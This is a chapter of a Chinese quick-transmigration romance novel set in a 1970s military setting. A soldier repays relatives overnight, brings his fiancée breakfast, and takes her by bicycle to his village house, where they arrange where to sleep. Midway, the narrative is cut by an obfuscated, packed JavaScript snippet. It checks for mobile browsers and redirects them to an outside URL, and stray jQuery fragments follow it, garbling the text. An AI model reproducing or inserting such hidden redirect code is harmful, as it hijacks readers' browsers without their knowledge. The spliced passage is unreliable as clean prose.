4. 年代军区大佬04
作品:《被男主缠住了怎么脱身[快穿]》 沈枝露的房间说是单人间,也没比多人间好到哪儿去,简单的架子床、桌椅加一个脸盆架和暖水瓶就没了。
宁守烨和她一起进了房间,把旅行袋在桌上放好,又拿着暖水瓶去水房打好水送了回来。
忙完之后他依旧没回自己的房间,趁着天没黑还陪她去了一趟公厕。
招待所里各种人员成分良莠不齐,再次把沈枝露送回房间之后,宁守烨交代道。
“你等会儿收拾完早点睡,我晚上得出趟门,可能会回得比较晚,房门记得反锁,尽量少喝水不然还得自己摸黑去厕所。”
被事无巨细地照顾着,沈枝露也没觉得不自在,毕竟她的生活助理一直都是这么做的,甚至有过之而无不及。
猜测到宁守烨应该是去还钱的,她点头应道。
“知道了,你办完事早点回来休息。”
把沈枝露安顿好之后,宁守烨回到自己的房间简单洗漱,床都没沾就下楼离开了招待所。
之前借给他钱的亲戚基本都在县里住着,他骑着自行车一家一家还了过去,凌晨三点多,终于到了最后一家。
宁守烨停好车,上楼敲门。
他敲得轻,不过老年人睡得浅,很快就有一个声音从里面传了出来。
“谁啊?”
“姨婆,我,守烨。”
“守烨?!”
一阵细碎又急促的步子由远及近走了过来,紧接着门被从里面打开了,一个佝偻的老妪站在昏黄的灯光下,浑浊的双眼使劲眯着往外看了看,声音里充满惊喜。
“真是守烨呀!快!快进来!!”
老人个头本就不高,背驼了之后更是连一米四都没有,被宁守烨弯着腰扶了进去。
“怎么这么晚到县里来了呀?是有啥急事?”
老人在椅子上刚坐稳就仰头急切地问道。
宁守烨蹲在地上,把七十块钱放到她的手心里。
“姨婆,这是七十块,多的五十你让大伯他们来看你的时候,去百货大楼里给你买点麦乳精补身子。”
老人皱紧眉头,攥着一叠钱不满道。
“不是说了这是姨婆给你的?多的我也没有,就给了二十,你怎么还还回来七十?哪来的钱啊??!”
宁守烨简单解释。
“我对象给我的。”
听到这话,老人顿时又惊又喜。
“守烨都有对象了??好啊好啊!!真好!”
说着说着又抹起了眼泪。
“可惜你爹看不到了。”
“唉,你娘走得早,这几年眼看你们爷俩快好起来了,结果你爹又染上病也走了,累得你把这么多年攒的老婆本都搭了进去,还倒欠了一大笔债务,真是造孽啊!”
宁守烨不想让老人再想这些伤心事,几句话就把话题转走了,又陪着说了将近一个小时的话,到天快亮的时候才被依依不舍的姨婆目送着离开。
踏着三月清晨的寒露,宁守烨终于在六点前回到了招待所。
他提着早餐在沈枝露房门前站了片刻,听到里面传来了细微的响动,刚想抬手敲门,房门突然被打开了。
沈枝露洗漱完拿着搪瓷盆正准备去倒水,结果一开门被杵在门口的宁守烨吓了一跳,抬起一只手抚了抚胸口。
“吓我一跳!你怎么不声不响站在我门口?”
宁守烨没说自己一晚没睡,只把手里的早餐递了过去。
“买了早餐,给你送过来。”
看沈枝露不方便接,宁守烨走进去把早餐放到桌上,又接过她手上的搪瓷盆。
“我去倒,你先吃着。”
沈枝露也没和他客气,松了手坐回桌前,慢条斯理地吃下一个茶叶蛋、两个煎包,饱了。
看着袋子里剩下的数十个煎包、两个鸡蛋和几个糯米粢饭团,沈枝露怀疑宁守烨是把两人的午餐也一起买了。
正好这时宁守烨从水房洗漱回来了,进屋之后就站在桌边,几乎一口一个,快速把剩下的早餐都解决干净。
在娱乐圈见多了男艺人通过节食控制身材,沈枝露简直看得瞠目结舌,眼神上上下下打量着他。
男人身材高大,保守估计得有将近一米九,宽肩窄腰长腿,脸型也棱角分明。
这么吃都不胖的吗?
她的眼神太过明显,宁守烨想忽略都忽略不了,有些不自在地解释着。
“部队训练量大,这点东西在拉练期间只够我垫肚子。”
沈枝露立刻了然,合理,他们这种消耗远比摄入量大的军人,确实怎么吃都不会胖,只会增加肌肉含量。
刚才洗漱完还没来得及护肤,她拧开雪花膏的瓶子,手指点涂后在脸上抹匀,同时另一只手拿起自己放在桌上的搪瓷缸递给他。
“等会我们直接回去吗?还是有其他安排?”
宁守烨接过去,特意避开她的常用杯口方向仰头灌了一大口。
“时间还早,附近有一个百货大楼,去买点你需要的东西再走吧?”
沈枝露把额头上的膏体涂开,点了点头。
日用品她虽然基本都带上了,但村里买着不方便,现在多屯点也可以。
护肤完成,手上剩余的一部分膏体没地方擦,沈枝露便拉过宁守烨垂放在腿边的大手,随意揉进他的手心里。
两人的手大小和肤色差都很明显,宁守烨的手虽然看起来骨节分明修长,但他从小下地做饭什么家务都干,参军之后更是一刻不曾懈怠,手心一摸就能摸到厚厚的枪茧。
而沈枝露虽然是独自生活,但她一不用操持家务二不用做饭,双手白皙柔嫩,莹润到泛着光。
宁守烨长睫低垂,遮住眼里的情绪,任由她把自己的手拿走玩弄,只在她玩够了之后即将溜走的瞬间攥紧了几秒,又很快松开。
“走吧。”
百货大楼离得很近,沈枝露其他东西都不太需要,只把肥皂、香皂和雪花膏这些消耗品补上货,全程连半个小时都没用上。
宁守烨看她确实对那些大件物品不太感兴趣,也不再勉强她继续逛了,把东西都装好之后,就骑上自行车,沿着小路一路往九柏峰村赶去。
刚开始沈枝露还有心情欣赏惬意舒适的田园风光,结果一个多小时后就开始暗道不好。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487138|202076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
沿途的土路坑洼不平,自行车被颠得上上下下没消停过,宁守烨坐的地方好歹有一层薄薄的坐垫,她坐的纯就是硬钢铁啊,感觉屁股被墩地都快不是自己的了。
敏锐察觉到后座沈枝露的话少了很多,宁守烨放慢速度停在路边,扭头问她。
“怎么不说话了?”
沈枝露跳下后座,腿脚僵硬地走了几步,腰酸背痛的感觉才好了些。
没有过后座载人经验的宁守烨这才意识到问题所在,抿了抿唇,突然沉默地三两下脱掉上衣,折叠过后垫在后座上,环顾四周似乎还想再找个什么东西把衣服固定住。
沈枝露忙上前把他的军装拿起来塞回他怀里。
开玩笑,这她可不敢坐。
旅行袋在自行车前面的横杠上放着,她走过去翻了翻,从里面拿出一件冬天的厚外套,直接团吧几下放到后座上,尽可能让它更软和一些。
但这样一来后座的高度就更高了,她跳都跳不上去。
正苦恼间,沈枝露突然感觉自己身体一轻,双脚离地,反应过来时整个人已稳稳地落座在车上。
直到热气蓬勃的胸膛从眼前挪开,她才意识到宁守烨刚才一手把着车把,单手拦腰把她抱了上来。
力气真是大啊。
问题顺利解决,两人继续往前走,白天光线充足,也没什么野兽出没,以宁守烨的骑车速度又足足骑了两个多小时,两人才抵达目的地。
宁守烨住在村尾,和最近的一家隔了都有几十米,所以谁都没有惊动。
眼前的房子就是最简单的黄土坯房,院墙一周用泥土掺着稻草夯实,屋顶铺着灰色的旧瓦和稻草,两间房一间睡觉一间做饭,离大门不远的地方单独垒起一个两平米左右的旱厕。
沈枝露进卧室看了一眼,屋里虽然简陋,除了必要的床、桌子和衣柜别无他物,但打理得干净整洁,比她想象中单身男性的家里好太多了。
宁守烨回来这几天都是在这里住的,他上前将自己用过的床单被罩全部揭掉,从衣柜里拿出一套新一点,像是没怎么用过的重新在床上铺好。
没等沈枝露问他两人晚上怎么睡,他已经离开了卧室,拐到后院仓房里,拖出来一张旧床,放到隔壁的厨房里,用旧褥子垫了一层,凑合着就能用。
“我爸以前用过的,我这两天睡这儿。”
两人毕竟还没有领证,尽管没有人知道,宁守烨也不想牵连她的名声受到影响。
两人分开睡沈枝露是完全同意的,但分房睡就不太行了。
她刚才看了一下,两间房的木窗子都是用旧报纸糊上的,蛇鼠虫蚁都有可能爬进来,说实话,她不太敢一个人睡。
沈枝露一直没有接话,表情纠结,宁守烨注意到她瞥向一旁窗户的目光,心领神会道。
“你一个人睡害怕?”
这次沈枝露点了点头,指向他搬出来的那张旧床。
“把这个放到卧室吧?我们两个一起睡。”
尽管知道她说的一起睡是指一个房间,不是一张床,宁守烨还是短暂地顿了一瞬才回道。
“好。”

